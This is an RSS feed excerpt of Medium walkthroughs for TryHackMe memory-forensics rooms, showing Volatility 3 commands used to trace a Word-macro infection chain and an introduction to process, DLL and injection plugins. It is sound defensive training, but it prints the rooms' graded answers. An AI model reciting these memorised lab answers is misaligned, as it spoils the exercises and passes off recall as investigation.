and their legitimate process names, you can conclude that this chain of processes is highly likely malicious.</p><p>Now that you have found a potential malicious chain, you must dig deeper. Proceed to the next task to uncover terminated and hidden processes and analyze the suspicious processes found in this task.</p><p>Q1:What is the parentID (PPID) of the services.exe (PID 664) process? Use the processtree.txt file to answer the question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*Ly0oNJSdeiB_Q8fbw1cg5g.png" /></figure><pre>524</pre><p>Q2:What is the ImageFileName of the process that has the PID 7788? Use the processtree.txt file to answer the question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*zivIE8pAhTClebiEwnP3hg.png" /></figure><h3>Task 6: Digging Deeper</h3><p>Until now, you have focused on uncovering and linking processes that were part of the active memory. volatility can also scan for processes that were recently terminated, unlinked, or hidden by an attacker. Attackers often employ different techniques to hide processes, threads, drivers, and registry keys. You can use the volatitlity modules windows.psscan and windows.psxview to get an overview of all process structures, including those not in the active process links structure.</p><h3>PSSCAN</h3><p>Continuing with the VM, enter the command shown below to scan for processes that were not part of the active processes list. <strong>Note: Due to size of the memory dump and limited resources, it can take up to three minutes until the command finishes running.</strong></p><p>PSSCAN</p><pre>ubuntu@tryhackme:~$ vol3 -f THM-WIN-001_071528_07052025.mem windows.psscan &gt; psscan.txt</pre><p>You can compare the results of psscan with the results of pslist to uncover hidden processes. You first need to prepare the output files before comparing them. Enter the following commands to extract the PID and process name from the psscan.txt and pslist.txt files and save the output to a new file.</p><p>Prepare Files</p><pre>ubuntu@tryhackme:~$ awk &#39;{print $1,$3}&#39; pslist.txt | sort &gt; pslist_processed.txt<br>ubuntu@tryhackme:~$ awk &#39;{print $1,$3}&#39; psscan.txt | sort &gt; psscan_processed.txt</pre><p>Then, you can compare both files to uncover hidden processes:</p><p>Prepare Files</p><pre>ubuntu@tryhackme:~$ comm -23 psscan_processed.txt pslist_processed.txt<br>5548 sihost.exe<br>5592 svchost.exe<br>5736 svchost.exe<br>5748 svchost.exe<br>5752 taskhostw.exe<br>5828 svchost.exe<br>5908 svchost.exe<br>5972 ctfmon.exe<br>8708 svchost.exe<br>9040 vmtoolsd.exe</pre><p>The results of this comparison are benign. All the listed processes are common processes that run on a Windows host. For example, svchost.exe is a common process that hosts and runs Windows services. There are a few checks you can do to verify that svchost.exe is indeed benign:</p><ul><li>Check the image path: If it is not located in C:\Windows\System32\, it is suspicious</li><li>Check the DLLs loaded for this process: Attackers can use techniques like process hollowing or DLL injection to compromise a legitimate process</li><li>Check if the process still has active threads: If it does have active threads but it doesn’t appear in the pslist results, it is suspicious. It could be that an attacker is hiding the process</li><li>If an active process does not have any threads, it is considered suspicious. Every active process should have at least 1 thread. Attackers can use techniques to alter the threads</li><li>Check the Exit Time: If the process really is terminated, it should display an Exit Time. If there are still active or orphaned threads linked to that process, it is suspicious.</li><li>Dump the process memory and analyze it further</li></ul><p>You will explore some of these checks later on.</p><h3>PSXVIEW</h3><p>Now, run the windows.psxview module. windows.psxview is a great way to do multiple tests in one and cross-reference the results. You should look for the processes that are not listed in the results of pslist but are listed in the other tests. Enter the following command to run the windows.psxview module. <strong>Note: Due to size of the memory dump and limited resources, it can take up to three minutes until the command finishes running.</strong></p><p>PSXVIEW</p><pre>ubuntu@tryhackme:~$ vol3 -f THM-WIN-001_071528_07052025.mem windows.psxview &gt; psxview.txt</pre><p>You can then use awk to filter the results and display all the lines where the pslist test equals false, as shown below:</p><p>Filter Results</p><pre>ubuntu@tryhackme:~$ awk &#39;NR==3 || $4 == &quot;False&quot;&#39; psxview.txt<br>Offset(Virtual) Name            PID     pslist  psscan  thrdscan  csrss   Exit Time<br>0xac80001ca080  svchost.exe     5828    False   True    False     False<br>0xac8000083080  svchost.exe     5592    False   True    False     False<br>0xac80000b90c0  vmtoolsd.exe    9040    False   True    False     False<br>0xac8000084080  svchost.exe     5748    False   True    False     False<br>0xac80001c6080  svchost.exe     5908    False   True    False     False<br>0xac80001d2080  ctfmon.exe      5972    False   True    False     False<br>0xac8000030080  svchost.exe     5736    False   True    False     False<br>0xac80000a1080  sihost.exe      5548    False   True    False     False<br>0x990b29bef080  svchost.exe     8708    False   True    False     False   2025-05-07 07:13:16+00:00<br>0xac8000031080  taskhostw.exe   5752    False   True    False     False</pre><p>The output in the terminal above doesn’t show anything obvious that could hint at an attacker hiding a malicious process. However, you can never be 100% sure. If you are still suspicious of the listed processes, apply the same checks listed in the <strong>psscan section</strong>.</p><h3>Analysis Notes and Next Steps</h3><p>You did not uncover new processes using the volatility modules psscan and psxview.</p><p>In the next task, you will focus on analyzing the processes uncovered in the previous tasks.</p><p>Q1:What is the number of processes that have 0 Threads? Use the psscan.txt file to answer the question.</p><p>awk ‘$5 == 0’ psscan.txt // the 5th column represent threads count. The expression is thread count equals 0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*HwfhYLRryya4yRHIu3eSbg.png" /></figure><pre>3</pre><p>Q2:What is the number of processes that have the Exit Time filled in? Use the psxview.txt file to answer the question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5XxedbupqN0t2wfwOSpQ8g.png" /></figure><pre>3</pre><h3>Task 7: Dumping the Process Memory</h3><p>During the previous tasks, you uncovered a potentially malicious chain of processes. From the information gathered, you could only conclude that these processes are linked and that the chain starts from the WINWORD.exe process. You should focus now on extracting information from processes by dumping their memory.</p><p>volatility includes several modules to assist you with this. The modules windows.dlllist and windows.dumpfiles should help you uncover several indicators of compromise.</p><h3>Finding the Path</h3><p>Using the windows.dlllist module, you can uncover the path of the main executable and its linked DLLs. Continuing with the VM, run the module windows.dlllist on the processes you noted in task 5 ( WINWORD.exe, pdfupdater.exe, updater.exe, windows-update, cmd.exe, conhost.exe, powershell.exe). Enter the following commands to dump the WINWORD.exe process. <strong>Note: Due to size of the memory dump and limited resources, it can take up to two minutes until the command finishes running.</strong></p><p>Check Results</p><pre>ubuntu@tryhackme:~$ vol3 -f THM-WIN-001_071528_07052025.mem windows.dlllist --pid 5252 &gt; 5252_dlllist.txt</pre><p><strong>Now, do the same for all other processes.</strong> Then, check every file with cat, look for the path of the main executable, and note it down.</p><p>Check Results</p><pre>ubuntu@tryhackme:~$ cat 5252_dlllist.txt<br>Volatility 3 Framework 2.26.2<br>Progress:  100.00               PDB scanning finished<br>PID   Process Base  Size      Name                  Path                                                               LoadTime                File output<br>5252  WINWORD.EXE   0x670000  0x1ac000 WINWORD.EXE  C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE  2025-05-07 07:13:04.00<br>        <br>[REDACTED FOR READABILITY]</pre><p>Now, update the information you already have with the new findings.</p><p>The pdfupdater.exe, windows-update.exe, and updater.exe processes seem to start at unusual locations. This information will be helpful when you focus on investigating user activity.</p><h3>Dump Process Memory</h3><p>You have uncovered multiple suspicious processes until now. This suspicion is based on process names, a process tree with multiple update processes, and processes that start from a user path.</p><p>You must dump and analyze the processes’ memory to confirm that these processes are malicious. You can then extract the executable and run the strings command to see if any malicious indicators are present quickly. In most cases, you will pass the executable to a malware analyst for further investigation. Below, are the commands to dump the process with PID 5252. Follow the same steps to dump the memory of the other processes; you can exclude the cmd.exe, PowerShell.exe, and conhost.exe processes. Other volatility modules can analyze these processes better. <strong>Note: Due to size of the memory dump and limited resources, it can take up to one minute until the command finishes running.</strong></p><p>Dump Process Memory</p><pre>ubuntu@tryhackme:~$ mkdir 5252<br>ubuntu@tryhackme:~$ cd 5252<br>ubuntu@tryhackme:~/5252$ vol3 -f ../THM-WIN-001_071528_07052025.mem windows.dumpfiles --pid 5252</pre><p>The dumped files all follow the same naming convention: file.StartAddress.EndAddress.ImageSectionObject.filename.img or file.StartAddress.EndAddress.DataSectionObject.filename.dat.</p><p>Note the differences between ImageSectionObject and DataSectionObject.</p><p>FeatureImageSectionObjectDataSectionObjectPurposeMapped executable imageMapped dataTypical content.exe, .dll, injected PE filesConfigs, logs, unpacked payloadsExecutable?YesUsually no</p><h3>What to Look For</h3><p>Depending on the process, the number of files dumped from a process can be large. You should filter for specific extensions depending on the context of the process. For example:</p><ul><li>If you dump the Microsoft Word process, searching for macro-enabled files with the extension .docm, .dotm, or .dotx is interesting. Attackers often use these kinds of files to execute Visual Basic code and download the next stage of the attack. MITRE classifies this as <a href="https://attack.mitre.org/techniques/T1059/005/">T1059.005 – Command and Scripting Interpreter: Visual Basic</a></li><li>If you have a suspiciously named process, look for a .exe and a .dat file. Use the strings command to quickly check for any malicious indicators like suspicious function names, URLs, IPs, system commands, and more</li><li>If you dump a PDF reader process, look for .pdf files. Use the strings command to check for any malicious indicators like included JavaScript quickly. MITRE classifies this as <a href="https://attack.mitre.org/techniques/T1059/007/">T1059.007 — Command and Scripting Interpreter: JavaScript</a></li></ul><p>The process 5252 is the Windows Word process. Look for .docm or .dotm files and note your findings. Note: All the dumped files have the extension .img appended. You can verify the type of the file by using the file command.</p><p>Find Macro Files</p><pre>ubuntu@tryhackme:~$ ls 5252 | grep -E &quot;.docm|.dotm&quot; -i<br>file.0x990b2ae077d0.0x990b2a3f5d70.SharedCacheMap.Normal.dotm.vacb<br>file.0x990b2ae077d0.0x990b2b916cd0.DataSectionObject.Normal.dotm.dat<br>file.0x990b2ae0ab60.0x990b28043a00.SharedCacheMap.cv-resume-test.docm.vacb<br>file.0x990b2ae0ab60.0x990b2a8b4b30.DataSectionObject.cv-resume-test.docm.dat<br>                <br>ubuntu@tryhackme:~$ file 5252/file.0x990b2ae077d0.0x990b2b916cd0.DataSectionObject.Normal.dotm.dat      <br>5252/file.0x990b2ae077d0.0x990b2b916cd0.DataSectionObject.Normal.dotm.dat: Microsoft Word 2007+</pre><p>Continue with the other processes and focus on finding .exe and .dat files. You can skip the processes cmd.exe, conhost.exe, and PowerShell.exe. These processes will be analyzed in the next rooms. You can use the following grep command to filter for .exe and .dat files.</p><p>Find Executables</p><pre>ubuntu@tryhackme:~$ ls 3392 10084 10032 | grep -E &quot;.exe|.dat&quot; -i<br>file.0x990b2ae26720.0x990b286fa140.ImageSectionObject.updater.exe.img<br>file.0x990b2846e310.0x990b282f5b70.DataSectionObject.cversions.2.db.dat<br>file.0x990b2ae16230.0x990b29ad0270.ImageSectionObject.windows-update.exe.img<br>file.0x990b2ae16230.0x990b2b92ce90.DataSectionObject.windows-update.exe.dat<br>file.0x990b2ae0ee90.0x990b2a466010.ImageSectionObject.pdfupdater.exe.img<br>file.0x990b2ae0ee90.0x990b2b91f290.DataSectionObject.pdfupdater.exe.dat</pre><p>Take note of all the files you find and update your findings.</p><h3>Analysis Notes and Next Steps</h3><p>You have analyzed the suspicious processes in more detail and uncovered multiple things:</p><ul><li>The paths of the updater.exe, pdfupdater.exe, and windows-update.exe are suspicious. All of them start in user folders</li><li>The WINWORD.EXE process dump included two macro-enabled word files named cv-resume-test.docm and normal.dotm. These could be malicious files and need to be analyzed further</li></ul><p>You also extracted the executables of the updater.exe, pdfupdater.exe, and windows-update.exe processes. The malware analyst needs to analyze these executables further.<br>The table below lists the findings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z_s_yXAbAOHv5jMwGHZQKg.png" /></figure><p>Now that you have uncovered multiple indicators that point toward an attack, you need to hand the extracted artifacts to the malware analyst and/or threat hunter for further inspection.</p><p>Q1:What is the path of the process with PID 7788?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5zalKzoLOlf6Phh3xVpMQA.png" /></figure><pre>C:\Program Files\AccessData\FTK Imager\FTK Imager.exe</pre><p>Dump the process with PID 7788.</p><p>Q2:What is the name of the dumped file that represents the executable?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BDx1nZMinH_PXldda1ojnw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*7PSDu2yR31dgD_SEAaqCxA.png" /></figure><pre>file.0x990b2ae1ed40.0x990b29954a20.ImageSectionObject.FTK Imager.exe.img</pre><h3>Task 8: Putting It All Together</h3><p>While analyzing the memory dump, you have uncovered possible indicators of compromise. Although, some of these indicators need to be analyzed further to be certain. With the artifacts gathered and observations made, it is possible to recreate a part of the kill chain. The table below shows all the gathered information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KmLOTeXPjo_yO5LJLAgzqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*16T1W7_ywRmLv88c.png" /></figure><h3>Initial Access</h3><p>Now, you can only speculate about the attacker’s technique to get into the system. Based on the artifacts you have gathered, it is likely that the attacker employed the technique <a href="https://attack.mitre.org/techniques/T1566/">T1566 Phishing</a> to get a malicious macro-enabled Word document onto the system. This needs to be confirmed by analyzing the user’s activity on the system.</p><h3>Execution</h3><p>The first indicator of compromise starts with the WINWORD.exe process opening a macro-enabled Word file named cv-resume-test.docm or normal.dotm. MITRE categorizes this technique as <a href="https://attack.mitre.org/techniques/T1059/005/">T1059.005 Command and Scripting Interpreter: Visual Basic</a><br>The cv-resume-text.docm or normal.dotm file likely downloads and launches a second-stage malware named pdfupdater.exe. Further analysis of the macro files should confirm this.</p><h3>Persistence</h3><p>The malware pdfupdater.exe then likely downloads another stage, windows-update.exe, which starts from the C:\Users\operator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windows-update.exe path. This path typically houses processes or links to processes that start when the OS is loaded. This could be an indicator of persistence. MITRE categorizes this as <a href="https://attack.mitre.org/techniques/T1037/005">Boot or Logon Initialization Scripts: Startup Items</a>.</p><h3>Command and Control</h3><p>The observation that the windows-update.exe executable is likely persistent could indicate that it serves as a C2 client or reverse shell. Further analysis of this executable should shed some light on its functions.</p><h3>Attack Phases Not Accounted For</h3><p>You already have uncovered multiple phases in the kill chain, but there is still one executable that you couldn’t place in any of the above phases. For now, you can only speculate about what the updater.exe process does. An educated guess would be that because it originates from the likely C2 process windows-update.exe, it likely will include MITRE tactics like <a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a>, <a href="https://attack.mitre.org/tactics/TA0040">Impact</a>, <a href="https://attack.mitre.org/tactics/TA0007">Discovery</a>, or <a href="https://attack.mitre.org/tactics/TA0008">Lateral Movement</a>. Analysis of the executable should bring more clarity on its functions.</p><h3>What’s Next</h3><p>You have uncovered multiple artifacts that need further analysis. You should collect these artifacts, hash them, and then pass them to the threat hunter or malware analyst.</p><p>Q1:What is the name of the likely compromised user?</p><p>C:\Users\<strong>operator</strong>\AppData\Roaming\Microsoft\ Windows\Start Menu\Programs\Startup\windows-<br>update.exe</p><pre>operator</pre><p>Q2:What is the ID assigned to the MITRE Tactic Command and Control?</p><pre>TA0011</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=012f5742a932" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Volatility Essentials — TryHackMe]]></title>
            <link>https://medium.com/@notfo/volatility-essentials-tryhackme-21662f526855?source=rss-356ddbee4b59------2</link>
            <guid isPermaLink="false">https://medium.com/p/21662f526855</guid>
            <category><![CDATA[memory-forensics]]></category>
            <category><![CDATA[volatility]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[volatility-3]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[notfo]]></dc:creator>
            <pubDate>Wed, 30 Jul 2025 10:51:36 GMT</pubDate>
            <atom:updated>2025-07-30T10:51:36.090Z</atom:updated>
            <content:encoded><![CDATA[<h3>Volatility Essentials — TryHackMe</h3><h3>Task 1: Introduction</h3><p>In the previous room, <a href="https://tryhackme.com/room/memoryanalysisintroduction">Memory Analysis Introduction</a>, we learnt about the vital nature of memory forensics in cyber security. We explored the structure of memory dumps, differentiated between RAM and disk forensics, and saw scenarios where memory analysis is essential.</p><p>Here, we shall begin looking at the practical aspects of memory forensics through tools, specifically Volatility.</p><p><strong>Learning Objectives</strong></p><ul><li>Getting familiar with the Volatility Framework</li><li>Navigate and utilise basic Volatility commands and plugins</li><li>Conduct forensic analysis to identify key artefacts such as running processes and loaded DLLs using Volatility</li></ul><p><strong>Prerequisites</strong></p><ul><li><a href="https://tryhackme.com/room/memoryanalysisintroduction">Memory Analysis Introduction</a></li><li><a href="https://tryhackme.com/room/btwindowsinternals">Core Windows Processes</a></li></ul><p>No answer needed</p><h3>Task 2: Volatility Overview</h3><p><a href="https://volatilityfoundation.org/the-volatility-framework/">Volatility</a> is an open-source memory forensics framework that is cross-platform, modular, and extensible. The framework has undergone various iterations over the years, with the current version being Volatility 3. This version is superior to its predecessors as it abandoned static OS profiling in favour of dynamic symbol resolution, supporting newer operating systems, memory layouts, and complete insight into the runtime state of the system.</p><h3>Architectural Overview</h3><p>Volatility 3 is made up of several key layers:</p><ul><li><strong>Memory layers</strong>: These layers represent the hierarchy of address spaces, from raw memory to virtual address translations.</li><li><strong>Symbol tables</strong>: The tables enable kernel and process structures to be interpreted through OS-specific debugging symbols.</li><li><strong>Plugins</strong>: These are modular routines that leverage the underlying memory layers and symbol tables to extract artefacts of forensic interest. Later in the room, we shall look at some key plugins used.</li></ul><h3>System Requirements and Installation</h3><p>Volatility 3 requires Python 3.6 or later to run. Additionally, it benefits from various libraries such as pefile, capstone, and yara-python that allow us to process portable executables, perform memory disassembly, and use YARA rules in our analysis, respectively. The terminal output below shows how to install Volatility by cloning the <a href="https://github.com/volatilityfoundation/volatility3.git">GitHub repository</a> and running it directly from the source.</p><p>Volatility has already been installed on the machine attached to this room and can be accessed under the Desktop/volatility3 directory.</p><p>Volatility Installation</p><pre>ubuntu@tryhackme:~/Desktop$ git clone https://github.com/volatilityfoundation/volatility3.git<br>ubuntu@tryhackme:~/Desktop$ cd volatility3<br>ubuntu@tryhackme:~/Desktop/volatility3$ python3 vol.py -h<br>Volatility 3 Framework 2.26.2<br>usage: vol.py [-h] [-c CONFIG] [--parallelism [{processes,threads,off}]] [-e EXTEND] [-p PLUGIN_DIRS] [-s SYMBOL_DIRS] [-v] [-l LOG] [-o OUTPUT_DIR] [-q]<br>              [-r RENDERER] [-f FILE] [--write-config] [--save-config SAVE_CONFIG] [--clear-cache] [--cache-path CACHE_PATH] [--offline | -u URL]<br>              [--filters FILTERS] [--hide-columns [HIDE_COLUMNS ...]] [--single-location SINGLE_LOCATION] [--stackers [STACKERS ...]]<br>              [--single-swap-locations [SINGLE_SWAP_LOCATIONS ...]]<br>              PLUGIN ...<br><br>An open-source memory forensics framework<br>options:<br>  -h, --help            Show this help message and exit, for specific plugin options use &#39;vol.py  --help&#39;<br>  -c CONFIG, --config CONFIG<br>                        Load the configuration from a json file<br>------TRUNCATED--------</pre><p>No answer needed</p><h3>Task 3: Memory Acquisition and Analysis</h3><h3>Memory Acquisition Methodologies</h3><p>Memory acquisition is a foundational step in forensics that must be performed in a manner that ensures we maintain the integrity of evidence. The process and the deployment environment used vary from one OS to another.</p><p>For Windows systems, the following tools can be used to conduct memory acquisition:</p><ul><li><strong>DumpIt: </strong>captures a full physical memory image on 32/64‑bit Windows and automatically hashes the output.</li><li><strong>WinPmem: </strong>Open‑source driver‑based tool that acquires RAM in RAW/ELF formats and embeds acquisition metadata for chain‑of‑custody.</li><li><strong>Magnet RAM Capture: </strong>GUI‑driven collector that snapshots volatile memory on live Windows hosts while minimising footprint.</li><li><strong>FTK Imager:</strong> The most common commercial tool that acquires memory and selected logical artefacts alongside disk imaging functions.</li></ul><p>For Linux and macOS systems, we can employ the services of the following tools:</p><ul><li><strong>AVML: </strong>Lightweight Microsoft CLI utility that dumps Linux memory to a compressed ELF file without requiring a kernel module.</li><li><strong>LiME: </strong>Loadable Kernel Module for Linux that captures full volatile memory over disk or network and supports ARM/x86 architectures.</li><li><strong>OSXPmem: </strong>macOS‑specific fork of Pmem that creates raw memory images on Intel‑based Macs for subsequent Volatility analysis.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TJIVnLIYl8Gma0sk.png" /></figure><p>Extracting memory from virtual environments can be done by collecting the virtual memory file from the host machine’s drive. Depending on the hypervisor in use, the output file will likely differ, and you would likely encounter the following examples:</p><ul><li>VMware — .vmem</li><li>Hyper-V — .bin</li><li>Parallels — .mem</li><li>VirtualBox — .sav It is worth noting that this is a partial memory file.</li></ul><h3>Memory Analysis</h3><p>To have a holistic and hands-on understanding of Volatility, we shall investigate a forensic case and use it to learn about the tool’s inner workings. The files for the analysis are found under the Desktop/Investigations directory.</p><p><strong>Case 001</strong></p><p>Your SOC has informed you that they have gathered a memory dump from a quarantined endpoint thought to have been compromised by a banking trojan masquerading as an Adobe document. Your job is to use your knowledge of threat intelligence and reverse engineering to perform memory forensics on the infected host.</p><p>You have been informed of a suspicious IP in connection with the file Investigation-1.vmem that could be helpful: 41.168.5.140.</p><p><strong>Plugins</strong></p><p>Volatility uses plugins to request data to carry out analysis. Some of the most commonly used plugins include:</p><ul><li>windows.info</li><li>linux.info</li><li>pslist</li><li>pstree</li></ul><p>Let us look at these plugins, extracting information from our memory file. First, we can begin by obtaining operating system details from the image. In previous versions of Volatility, this information was identified as <strong>OS profiles</strong> and was extracted using the plugin imageinfo. However, OS profiles have been deprecated in the new version, and now we have the individual information plugins.</p><p>Given that our memory file was obtained from a Windows VM running on VMware, we can extract details about its profile with the command below:</p><p>Volatility Windows Info</p><pre>ubuntu@tryhackme:~/Desktop/volatility3$ python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.info<br>Volatility 3 Framework 2.26.2<br>WARNING  volatility3.framework.layers.vmware: No metadata file found alongside VMEM file. A VMSS or VMSN file may be required to correctly process a VMEM file. These should be placed in the same directory with the same file name, e.g. Investigation-1.vmem and Investigation-1.vmss.<br>Progress:  100.00               PDB scanning finished                                                                                              <br>Variable        Value<br><br>Kernel Base     0x804d7000<br>DTB     0x2fe000<br>Symbols file:///home/ubuntu/Desktop/volatility3/volatility3/symbols/windows/ntkrnlpa.pdb/30B5FB31AE7E4ACAABA750AA241FF331-1.json.xz</pre><p>We can extract the system version, architecture, symbol tables, and available memory layers from the details.</p><p>Q1:What is the build version of the host machine in Case 001?</p><p>python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.info</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*1QaczbMrBWOJN0ffrqdwTw.png" /></figure><pre>2600.xpsp.080413-2111</pre><p>Q2:At what time was the memory file acquired in Case 001?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*-PA_-Qynk6pj4CO1Ot0AHg.png" /></figure><pre>2012-07-22 02:45:08</pre><h3>Task 4: Listing Processes and Connections</h3><p>When we want to analyse details on processes and network connections from our memory file, Volatility supports different plugins, each with varying techniques used. Not all plugins mentioned here will produce a result from the memory file, as the capture may not have included processes or services that the plugins would enumerate.</p><h3>Active Process Enumeration</h3><p>The most basic way of listing processes is by using pslist. This plugin enumerates active processes from the doubly-linked list that keeps track of processes in memory, equivalent to the process list in the task manager. The output from this plugin will include all current and terminated processes and their exit times.</p><pre>ubuntu@tryhackme:~/Desktop/volatility3$ python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.pslist</pre><h3>Hidden Process Enumeration</h3><p>Some malware, typically rootkits, will, in an attempt to hide their processes, unlink themselves from the list. By unlinking themselves from the list, you will no longer see their processes when using pslist. To combat this evasion technique, we can use psscan. This technique of listing processes will locate processes by finding data structures that match _EPROCESS. While this technique can help with evasion countermeasures, it can also result in false positives; therefore, we must be careful.</p><pre>ubuntu@tryhackme:~/Desktop/volatility3$ python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.psscan</pre><h3>Process Hierarchy Enumeration</h3><p>The third process plugin, pstree, does not offer any other kind of special techniques to help identify evasion like the last two plugins. However, this plugin will list all processes based on their parent process ID, using the same methods as pslist. This can be useful for an analyst to get a complete story of the processes and what may have occurred at the extraction time.</p><pre>ubuntu@tryhackme:~/Desktop/volatility3$ python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.pstree</pre><h3>File, Registry, and Thread Enumeration</h3><p>Inspecting files and the registry is also vital during a memory forensic investigation. We can use the plugin handles to look into the details and handles of files and threads from a host.</p><pre>ubuntu@tryhackme:~/Desktop/volatility3$ python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.handles</pre><h3>Network Connection Enumeration</h3><p>Now that we know how to identify processes, we also need to have a way to identify the network connections present at the time of extraction on the host machine. The netstat will attempt to identify all memory structures with a network connection.</p><pre>ubuntu@tryhackme:~/Desktop/volatility3$ python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.netstat</pre><p>It is worth noting that this command in the current state of Volatility 3 can be very unstable, particularly around old Windows builds. To combat this, you can utilise other tools like <a href="https://tools.kali.org/forensics/bulk-extractor">bulk_extractor</a> to extract a PCAP file from the memory file. Sometimes, this is preferred in network connections that you cannot identify from Volatility alone.</p><h3>TCP/UDP Socket Enumeration</h3><p>We can also identify network sockets and their linked processes from a memory file. To do this, we can use the plugin netscan. This will recover active and closed TCP/UDP connections, associated process IDs, local and remote ports, and IPs using memory pool scanning.</p><pre>ubuntu@tryhackme:~/Desktop/volatility3$ python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.netscan</pre><h3>DLL Enumeration</h3><p>The last plugin we will cover is dlllist. This plugin will list all DLLs associated with processes at extraction time. This can be especially useful once you have analysed further and filtered the output to a specific DLL that might indicate a specific type of malware you believe to be on the system.</p><pre>ubuntu@tryhackme:~/Desktop/volatility3$ python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.dlllist</pre><p>Q1:What is the absolute path to the active Adobe process?</p><p>python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.pstree</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L13W4gkxgRviSn_jmUZJMw.png" /></figure><pre>C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe</pre><p>Q2:What is the parent process of this process in Case 001?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8cpYSDRW2FmoAQpe9-MxRA.png" /></figure><pre>explorer.exe</pre><p>Q3:What is the PID of the parent process?</p><pre>1484</pre><p>Q4:How many DLL files are used by the Adobe process that are outside the system32 directory?</p><p>python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.dlllist | grep 1640</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L-dzbwNofwmkeh8yUK4iJg.png" /></figure><pre>3</pre><p>Q5:What is the name of the one KeyedEvent associated with the process’s handles?</p><p>python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.handles | grep 1640</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Zx5WsselSbMb4l_UqMxyQ.png" /></figure><pre>CritSecOutOfMemoryEvent</pre><h3>Task 5: Volatility Hunting and Detection Capabilities</h3><p>Advanced threats can execute solely in memory, avoiding disk artefacts. Volatility offers many plugins that can aid in your hunting and detection capabilities when hunting for injected code and malware, as well as applying custom detection rules via YARA.</p><p>Before going through this section, it is recommended that you have a basic understanding of how evasion techniques and various malware techniques are employed by adversaries, as well as how to hunt and detect them.</p><h3>Malware Analysis</h3><p>The first plugin we will discuss, which is one of the most useful when hunting for code injection, is malfind. This plugin will attempt to detect injected processes and their PIDs along with the offset address and the infected area&#39;s Hex, Ascii, and Disassembly views. The plugin works by scanning the heap and identifying processes that have the executable bit set <strong>RWE</strong> or <strong>RX</strong> and/or no memory-mapped file on disk (file-less malware).</p><p>Based on what malfind identifies, the injected area will change. An MZ header is an indicator of a Windows executable file. The injected area could also be directed towards shellcode, which requires further analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/0*60XXXcyOqGMLQGRK.png" /></figure><pre>ubuntu@tryhackme:~/Desktop/volatility3$ python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.malfind</pre><p>Another helpful plugin is vadinfo. This displays detailed information about virtual memory descriptors, which is useful when manually investigating suspicious memory regions and heap allocations.</p><pre>ubuntu@tryhackme:~/Desktop/volatility3$ python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.vadinfo</pre><p>Q1:What processes in the Case 001 memory file contain a header that points to a Windows executable file? (Answer: process1,process2)</p><p>python3 vol.py -f ~/Desktop/Investigations/Investigation-1.vmem windows.malfind</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R8m_-JhGDr81poJB_BVyLQ.png" /></figure><pre>explorer.exe,reader_sl.exe</pre><h3>Task 6: Advanced Memory Forensics</h3><p>Forensic analysts must be equipped to detect manipulation deep within the operating system when dealing with sophisticated threats such as kernel-mode rootkits. Rootkits are designed to conceal processes, files, drivers, and their presence by modifying kernel structures. This section focuses on a structured and practical exploration of these advanced evasion techniques, particularly within the Windows operating system, using Volatility 3.</p><p>Advanced adversaries often employ <strong>hooking</strong> — a technique that allows malicious software to intercept and potentially redirect system-level functions for evasion or persistence. Hooks are not inherently malicious; antivirus and debugging tools also use them legitimately. The analyst’s responsibility is to identify whether the presence of a hook aligns with expected system behaviour or represents malicious interference.</p><p>One of the most common hooking strategies is the <strong>System Service Descriptor Table (SSDT) </strong>hooks. These hooks are used to modify kernel system call table entries. They are prevalent in kernel-mode malware, with Volatility providing a corresponding plugin for analysis.</p><h3>SSDT Hook Detection</h3><p>The Windows kernel uses the <strong>System Service Descriptor Table</strong> (SSDT) to resolve addresses for system calls. Rootkits often overwrite SSDT entries to redirect legitimate system calls (e.g., NtCreateFile) to their malicious counterparts.</p><p>Volatility 3’s windows.ssdt plugin enables analysts to inspect this table for any irregularities.</p><pre>ubuntu@tryhackme:~/Desktop/volatility3$ python3 vol.py -f 